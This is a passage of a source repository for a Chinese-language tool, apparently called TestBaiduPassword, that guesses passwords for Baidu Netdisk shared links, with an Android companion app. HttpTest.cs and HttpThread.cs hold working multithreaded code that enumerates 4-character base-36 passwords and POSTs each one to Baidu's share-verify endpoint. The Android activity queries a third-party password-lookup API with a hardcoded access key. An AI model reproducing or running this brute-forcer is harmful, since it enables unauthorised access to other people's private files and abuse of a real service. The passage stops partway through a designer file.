//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Properties/Settings.settings
================================================
================================================
FILE: TestPassword V1.0.0.0/TestPassword/StaticClass.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace zgcwkj
{
///
/// 静态类
///
public static class StaticClass
{
///
/// 线程状态
///
public static bool status { get; set; }
///
/// 目标连接
///
public static string url { get; set; }
///
/// 日记的文件名称
///
public static string Folder { get; set; }
}
}
================================================
FILE: TestPassword V1.0.0.0/TestPassword/TestPassword.csproj
================================================
Debug
AnyCPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}
WinExe
Properties
zgcwkj
百度网盘分享文件密码测试器
v4.0
512
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
ico.ico
Form
Main.cs
Main.cs
ResXFileCodeGenerator
Resources.Designer.cs
Designer
True
Resources.resx
True
SettingsSingleFileGenerator
Settings.Designer.cs
True
Settings.settings
True
================================================
FILE: TestPassword V1.0.0.0/TestPassword.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: TestPassword V1.0.0.0 APK/.gitignore
================================================
*.iml
.gradle
/local.properties
/.idea/workspace.xml
/.idea/libraries
.DS_Store
/build
/captures
.externalNativeBuild
================================================
FILE: TestPassword V1.0.0.0 APK/.idea/gradle.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/.idea/misc.xml
================================================
Android
================================================
FILE: TestPassword V1.0.0.0 APK/.idea/modules.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/.idea/runConfigurations.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/app/.gitignore
================================================
/build
================================================
FILE: TestPassword V1.0.0.0 APK/app/build.gradle
================================================
apply plugin: 'com.android.application'
android {
compileSdkVersion 26
defaultConfig {
applicationId "com.zgcwkj.baidupantest.testpassword"
minSdkVersion 15
targetSdkVersion 26
versionCode 1
versionName "1.0"
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
}
}
}
dependencies {
implementation fileTree(dir: 'libs', include: ['*.jar'])
implementation 'com.android.support:appcompat-v7:26.1.0'
implementation 'com.android.support.constraint:constraint-layout:1.1.0'
testImplementation 'junit:junit:4.12'
androidTestImplementation 'com.android.support.test:runner:1.0.2'
androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
}
================================================
FILE: TestPassword V1.0.0.0 APK/app/proguard-rules.pro
================================================
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/androidTest/java/com/zgcwkj/baidupantest/testpassword/ExampleInstrumentedTest.java
================================================
package com.zgcwkj.baidupantest.testpassword;
import android.content.Context;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
import static org.junit.Assert.*;
/**
* Instrumented test, which will execute on an Android device.
*
* @see Testing documentation
*/
@RunWith(AndroidJUnit4.class)
public class ExampleInstrumentedTest {
@Test
public void useAppContext() throws Exception {
// Context of the app under test.
Context appContext = InstrumentationRegistry.getTargetContext();
assertEquals("com.zgcwkj.baidupantest.testpassword", appContext.getPackageName());
}
}
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/AndroidManifest.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/java/com/zgcwkj/baidupantest/testpassword/MainActivity.java
================================================
package com.zgcwkj.baidupantest.testpassword;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.webkit.WebView;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button btn = (Button) findViewById(R.id.btnGo);
btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
EditText textUrl = (EditText) findViewById(R.id.textUrl);
//验证长度
if (textUrl.length() >= 8) {
String info = textUrl.getText().toString().replace(" ", "").replace("https", "").replace("http", "").replace("://pan.baidu.com/", "").replace("share/init?surl=", "").replace("s/1", "");
String url = "https://www.ypsuperkey.com/api/items/BDY-";
String uend = "?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg";
WebView webView = (WebView) findViewById(R.id.webview);//更改界面的WebView控件的地址
webView.loadUrl(url + info + uend);
} else {
Toast.makeText(MainActivity.this, "请输入正确的地址", Toast.LENGTH_LONG).show();
}
}
});
}
}
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/res/drawable/ic_launcher_background.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/res/drawable-v24/ic_launcher_foreground.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/res/layout/activity_main.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/res/values/colors.xml
================================================
#3F51B5
#303F9F
#FF4081
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/res/values/ic_launcher_background.xml
================================================
#26A69A
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/res/values/strings.xml
================================================
TestPassword
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/main/res/values/styles.xml
================================================
================================================
FILE: TestPassword V1.0.0.0 APK/app/src/test/java/com/zgcwkj/baidupantest/testpassword/ExampleUnitTest.java
================================================
package com.zgcwkj.baidupantest.testpassword;
import org.junit.Test;
import static org.junit.Assert.*;
/**
* Example local unit test, which will execute on the development machine (host).
*
* @see Testing documentation
*/
public class ExampleUnitTest {
@Test
public void addition_isCorrect() throws Exception {
assertEquals(4, 2 + 2);
}
}
================================================
FILE: TestPassword V1.0.0.0 APK/build.gradle
================================================
// Top-level build file where you can add configuration options common to all sub-projects/modules.
buildscript {
repositories {
google()
jcenter()
}
dependencies {
classpath 'com.android.tools.build:gradle:3.0.1'
// NOTE: Do not place your application dependencies here; they belong
// in the individual module build.gradle files
}
}
allprojects {
repositories {
google()
jcenter()
}
}
task clean(type: Delete) {
delete rootProject.buildDir
}
================================================
FILE: TestPassword V1.0.0.0 APK/gradle/wrapper/gradle-wrapper.properties
================================================
#Fri May 25 20:43:03 CST 2018
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip
================================================
FILE: TestPassword V1.0.0.0 APK/gradle.properties
================================================
# Project-wide Gradle settings.
# IDE (e.g. Android Studio) users:
# Gradle settings configured through the IDE *will override*
# any settings specified in this file.
# For more details on how to configure your build environment visit
# http://www.gradle.org/docs/current/userguide/build_environment.html
# Specifies the JVM arguments used for the daemon process.
# The setting is particularly useful for tweaking memory settings.
org.gradle.jvmargs=-Xmx1536m
# When configured, Gradle will run in incubating parallel mode.
# This option should only be used with decoupled projects. More details, visit
# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
# org.gradle.parallel=true
================================================
FILE: TestPassword V1.0.0.0 APK/gradlew
================================================
#!/usr/bin/env bash
##############################################################################
##
## Gradle start up script for UN*X
##
##############################################################################
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS=""
APP_NAME="Gradle"
APP_BASE_NAME=`basename "$0"`
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD="maximum"
warn ( ) {
echo "$*"
}
die ( ) {
echo
echo "$*"
echo
exit 1
}
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
case "`uname`" in
CYGWIN* )
cygwin=true
;;
Darwin* )
darwin=true
;;
MINGW* )
msys=true
;;
esac
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
PRG="$0"
# Need this for relative symlinks.
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG=`dirname "$PRG"`"/$link"
fi
done
SAVED="`pwd`"
cd "`dirname \"$PRG\"`/" >/dev/null
APP_HOME="`pwd -P`"
cd "$SAVED" >/dev/null
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD="java"
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
# Increase the maximum file descriptors if we can.
if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
MAX_FD_LIMIT=`ulimit -H -n`
if [ $? -eq 0 ] ; then
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
MAX_FD="$MAX_FD_LIMIT"
fi
ulimit -n $MAX_FD
if [ $? -ne 0 ] ; then
warn "Could not set maximum file descriptor limit: $MAX_FD"
fi
else
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
fi
fi
# For Darwin, add options to specify how the application appears in the dock
if $darwin; then
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
fi
# For Cygwin, switch paths to Windows format before running java
if $cygwin ; then
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
JAVACMD=`cygpath --unix "$JAVACMD"`
# We build the pattern for arguments to be converted via cygpath
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
SEP=""
for dir in $ROOTDIRSRAW ; do
ROOTDIRS="$ROOTDIRS$SEP$dir"
SEP="|"
done
OURCYGPATTERN="(^($ROOTDIRS))"
# Add a user-defined pattern to the cygpath arguments
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
fi
# Now convert the arguments - kludge to limit ourselves to /bin/sh
i=0
for arg in "$@" ; do
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
else
eval `echo args$i`="\"$arg\""
fi
i=$((i+1))
done
case $i in
(0) set -- ;;
(1) set -- "$args0" ;;
(2) set -- "$args0" "$args1" ;;
(3) set -- "$args0" "$args1" "$args2" ;;
(4) set -- "$args0" "$args1" "$args2" "$args3" ;;
(5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
(6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
(7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
(8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
(9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
esac
fi
# Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
function splitJvmOpts() {
JVM_OPTS=("$@")
}
eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
================================================
FILE: TestPassword V1.0.0.0 APK/gradlew.bat
================================================
@if "%DEBUG%" == "" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS=
set DIRNAME=%~dp0
if "%DIRNAME%" == "" set DIRNAME=.
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if "%ERRORLEVEL%" == "0" goto init
echo.
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto init
echo.
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:init
@rem Get command-line arguments, handling Windowz variants
if not "%OS%" == "Windows_NT" goto win9xME_args
if "%@eval[2+2]" == "4" goto 4NT_args
:win9xME_args
@rem Slurp the command line arguments.
set CMD_LINE_ARGS=
set _SKIP=2
:win9xME_args_slurp
if "x%~1" == "x" goto execute
set CMD_LINE_ARGS=%*
goto execute
:4NT_args
@rem Get arguments from the 4NT Shell from JP Software
set CMD_LINE_ARGS=%$
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
:end
@rem End local scope for the variables with windows NT shell
if "%ERRORLEVEL%"=="0" goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
exit /b 1
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega
================================================
FILE: TestPassword V1.0.0.0 APK/settings.gradle
================================================
include ':app'
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Hash.cs
================================================
using System;
using System.Linq;
using System.Text;
using System.Collections.Generic;
namespace zgcwkj
{
public static class Hash
{
//哈希类 36进制
//有效哈希[10000000,11679615]
#region 只支持4位 By MXWXZ
public static string HashTo4Str(int hash)
{
string ret = "";
hash -= 10000000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 3) ret += "0";//前导零
if (ret.Length == 2) ret += "00";
if (ret.Length == 1) ret += "000";
if (ret.Length == 0) ret += "0000";
return reverse(ret);
}
public static int StrTo4Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 46656;
ret += Char2Hash(str[1]) * 1296;
ret += Char2Hash(str[2]) * 36;
ret += Char2Hash(str[3]);
ret += 10000000;//防止前导零
return ret;
}
#endregion
#region 只支持6位 By zgcwkj
public static string HashTo6Str(int hash)
{
string ret = "";
hash -= 100000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 5) ret += "0";//前导零
if (ret.Length == 4) ret += "00";
if (ret.Length == 3) ret += "000";
if (ret.Length == 2) ret += "0000";
if (ret.Length == 1) ret += "00000";
if (ret.Length == 0) ret += "000000";
return reverse(ret);
}
public static int StrTo6Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 60466176;
ret += Char2Hash(str[1]) * 1679616;
ret += Char2Hash(str[2]) * 46656;
ret += Char2Hash(str[3]) * 1296;
ret += Char2Hash(str[4]) * 36;
ret += Char2Hash(str[5]);
ret += 100000;//防止前导零
return ret;
}
#endregion
private static int Char2Hash(char c)
{
if (c >= '0' && c <= '9') return c - '0';
else return c - 'a' + 10;
}
private static char Hash2Char(int hash)
{
if (hash >= 0 && hash <= 9) return (char)('0' + hash);
else return (char)('a' + hash - 10);
}
private static string reverse(string str)
{
char[] arr = str.ToCharArray();
Array.Reverse(arr);
return new string(arr);
}
}
}
================================================
FILE: TestPassword V1.8.0.4/TestPassword/HttpTest.cs
================================================
using System;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// Http测试类(百度网盘分享连接密码测试)
///
public class HttpTest
{
string info = "";//唯一识别文件的值
///
/// 实例测试类
///
/// 访问的链接
public HttpTest(string url)
{
info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
}
///
/// 访问网页
///
///
public string Get()
{
return HttpGet("https://pan.baidu.com/share/init?" + info);
}
///
/// 提交密码
///
/// 密码
///
public string Post(string pwd)
{
DateTime time = DateTime.Now;
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
string data = "pwd=" + pwd + "&vcode=&vcode_str=";
return HttpPost(url, data);
}
#region 网络请求
CookieContainer cookie = new CookieContainer();
#region Get请求
///
/// 请求路径
///
/// 请求的路径
/// 返回请求的网页数据
private string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion
#region Post请求
///
/// 提交数据
///
/// 提交的路径
/// 提交的数据
/// 返回结果
private string HttpPost(string Url, string Data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.Referer = "https://pan.baidu.com/share/init?" + info;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
request.CookieContainer = cookie;
request.Method = "POST";
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception ex)
{
return ex.Message;
}
}
#endregion
#endregion
}
}
================================================
FILE: TestPassword V1.8.0.4/TestPassword/HttpThread.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Timers;
namespace zgcwkj
{
public class HttpThread
{
Main myMain;//主窗体
int StartValue = 0;//基值
int NumberValue = 0;//剩余次数
Timer timer;//线程
string ThreadID;//线程ID
///
/// http请求线程类
///
/// 主窗体
/// 线程名称
/// 开始值
/// 结束值
/// 线程速度
public HttpThread(Main main, string name, int start, int number, int interval)
{
myMain = main;
StartValue = start;
NumberValue = number;
ThreadID = StaticClass.file + "/" + name;
timer = new Timer(interval);
}
///
/// 启动线程
///
///
public HttpThread Start()
{
#region 载入历史参数
try
{
if (File.Exists(ThreadID + ".ini"))
{
string _start = File.ReadAllText(ThreadID + ".ini");
if (_start != "") StartValue = Convert.ToInt32(_start);
}
}
catch { }
#endregion
timer.Elapsed += new ElapsedEventHandler(_Timer);
timer.Start();
return this;
}
private void _Timer(object sender, ElapsedEventArgs e)
{
Timer timer = sender as Timer;
if (NumberValue < StartValue || StaticClass.status)
{
#region 保存历史参数
try
{
File.Delete(ThreadID + ".ini");
File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
}
catch { }
#endregion
timer.Stop();
}
else
{
string password = Hash.HashTo4Str(StartValue);
HttpTest httptest = new HttpTest(StaticClass.url);
myMain.ModifyStr(httptest.Post(password), password);
StartValue = StartValue + 1;
}
}
}
}
================================================
FILE: TestPassword V1.8.0.4/TestPassword/Main.Designer.cs
================================================
namespace zgcwkj
{
partial class Main
{
///
/// 必需的设计器变量。
///
private System.ComponentModel.IContainer components = null;
///
/// 清理所有正在使用的资源。
///
/// 如果应释放托管资源,为 true;否则为 false。
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows 窗体设计器生成的代码
///
/// 设计器支持所需的方法 - 不要修改
/// 使用代码编辑器修改此方法的内容。
///
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
this.txt_url = new System.Windows.Forms.Label();
this.text_url = new System.Windows.Forms.TextBox();
this.gb_1 = new System.Windows.Forms.GroupBox();
this.text_zxsd = new System.Windows.Forms.TextBox();
this.text_xczs = new System.Windows.Forms.TextBox();
this.text_jsd = new System.Windows.Forms.TextBox();
this.text_ksd = new System.Windows.Forms.TextBox();
this.txt_zxsd = new System.Windows.Forms.Label();
this.txt_xczs = new System.Windows.Forms.Label();
this.txt_jsd = new System.Windows.Forms.Label();
this.txt_ksd = new System.Windows.Forms.Label();
this.txt_ts = new System.Windows.Forms.Label();
this.btn_start = new System.Windows.Forms.Button();
this.fBD = new System.Windows.Forms.FolderBrowserDialog();
this.btn_status = new System.Windows.Forms.Button();
this.gb_1.SuspendLayout();
this.SuspendLayout();
//
// txt_url
//
this.txt_url.AutoSize = true;
this.txt_url.Location = new System.Drawing.Point(12, 15);
this.txt_url.Name = "txt_url";
this.txt_url.Size = new System.Drawing.Size(65, 12);
this.txt_url.TabIndex = 0;
this.txt_url.Text = "目标地址:";
//
// text_url
//
this.text_url.Location = new System.Drawing.Point(83, 11);
this.text_url.Name = "text_url";
this.text_url.Size = new System.Drawing.Size(389, 21);
this.text_url.TabIndex = 1;
//
// gb_1
//
this.gb_1.Controls.Add(this.text_zxsd);
this.gb_1.Controls.Add(this.text_xczs);
this.gb_1.Controls.Add(this.text_jsd);
this.gb_1.Controls.Add(this.text_ksd);
this.gb_1.Controls.Add(this.txt_zxsd);
this.gb_1.Controls.Add(this.txt_xczs);
this.gb_1.Controls.Add(this.txt_jsd);
this.gb_1.Controls.Add(this.txt_ksd);
this.gb_1.Location = new System.Drawing.Point(12, 38);
this.gb_1.Name = "gb_1";
this.gb_1.Size = new System.Drawing.Size(460, 73);
this.gb_1.TabIndex = 2;
this.gb_1.TabStop = false;
this.gb_1.Text = "相关配置";
//
// text_zxsd
//
this.text_zxsd.Location = new System.Drawing.Point(321, 17);
this.text_zxsd.MaxLength = 4;
this.text_zxsd.Name = "text_zxsd";
this.text_zxsd.Size = new System.Drawing.Size(131, 21);
this.text_zxsd.TabIndex = 5;
this.text_zxsd.Text = "200";
this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_xczs
//
this.text_xczs.Location = new System.Drawing.Point(93, 17);
this.text_xczs.MaxLength = 5;
this.text_xczs.Name = "text_xczs";
this.text_xczs.Size = new System.Drawing.Size(131, 21);
this.text_xczs.TabIndex = 4;
this.text_xczs.Text = "100";
this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_jsd
//
this.text_jsd.Location = new System.Drawing.Point(321, 43);
this.text_jsd.MaxLength = 4;
this.text_jsd.Name = "text_jsd";
this.text_jsd.Size = new System.Drawing.Size(131, 21);
this.text_jsd.TabIndex = 7;
this.text_jsd.Text = "zzzz";
//
// text_ksd
//
this.text_ksd.Location = new System.Drawing.Point(93, 43);
this.text_ksd.MaxLength = 4;
this.text_ksd.Name = "text_ksd";
this.text_ksd.Size = new System.Drawing.Size(131, 21);
this.text_ksd.TabIndex = 6;
this.text_ksd.Text = "0000";
//
// txt_zxsd
//
this.txt_zxsd.AutoSize = true;
this.txt_zxsd.Location = new System.Drawing.Point(232, 20);
this.txt_zxsd.Name = "txt_zxsd";
this.txt_zxsd.Size = new System.Drawing.Size(89, 12);
this.txt_zxsd.TabIndex = 1;
this.txt_zxsd.Text = "线程执行速度:";
//
// txt_xczs
//
this.txt_xczs.AutoSize = true;
this.txt_xczs.Location = new System.Drawing.Point(10, 20);
this.txt_xczs.Name = "txt_xczs";
this.txt_xczs.Size = new System.Drawing.Size(65, 12);
this.txt_xczs.TabIndex = 0;
this.txt_xczs.Text = "线程总数:";
//
// txt_jsd
//
this.txt_jsd.AutoSize = true;
this.txt_jsd.Location = new System.Drawing.Point(232, 46);
this.txt_jsd.Name = "txt_jsd";
this.txt_jsd.Size = new System.Drawing.Size(77, 12);
this.txt_jsd.TabIndex = 3;
this.txt_jsd.Text = "密码结束点:";
//
// txt_ksd
//
this.txt_ksd.AutoSize = true;
this.txt_ksd.Location = new System.Drawing.Point(10, 46);
this.txt_ksd.Name = "txt_ksd";
this.txt_ksd.Size = new System.Drawing.Size(77, 12);
this.txt_ksd.TabIndex = 2;
this.txt_ksd.Text = "密码开始点:";
//
// txt_ts
//
this.txt_ts.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.txt_ts.ForeColor = System.Drawing.Color.Red;
this.txt_ts.Location = new System.Drawing.Point(12, 163);
this.txt_ts.Name = "txt_ts";
this.txt_ts.Size = new System.Drawing.Size(460, 69);
this.txt_ts.TabIndex = 5;
this.txt_ts.Text = "程序:百度网盘分享文件密码分析器 V 1.8.0.4\r\n\r\n作者:zgcwkj 20180412 完美更新 (请您著明本程序的出处,谢谢)\r\n\r\n说明:本程序完全" +
"免费,来自 52pojie 的 MXWXZ 提供整体的框架\r\n\r\n开源地址:https://github.com/zgcwkj/TestBaiduPasswor" +
"d";
this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);
//
// btn_start
//
this.btn_start.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_start.Location = new System.Drawing.Point(12, 114);
this.btn_start.Name = "btn_start";
this.btn_start.Size = new System.Drawing.Size(290, 44);
this.btn_start.TabIndex = 4;
this.btn_start.Text = "打开/生成 解决方案";
this.btn_start.UseVisualStyleBackColor = true;
this.btn_start.Click += new System.EventHandler(this.btn_start_Click);
//
// btn_status
//
this.btn_status.Enabled = false;
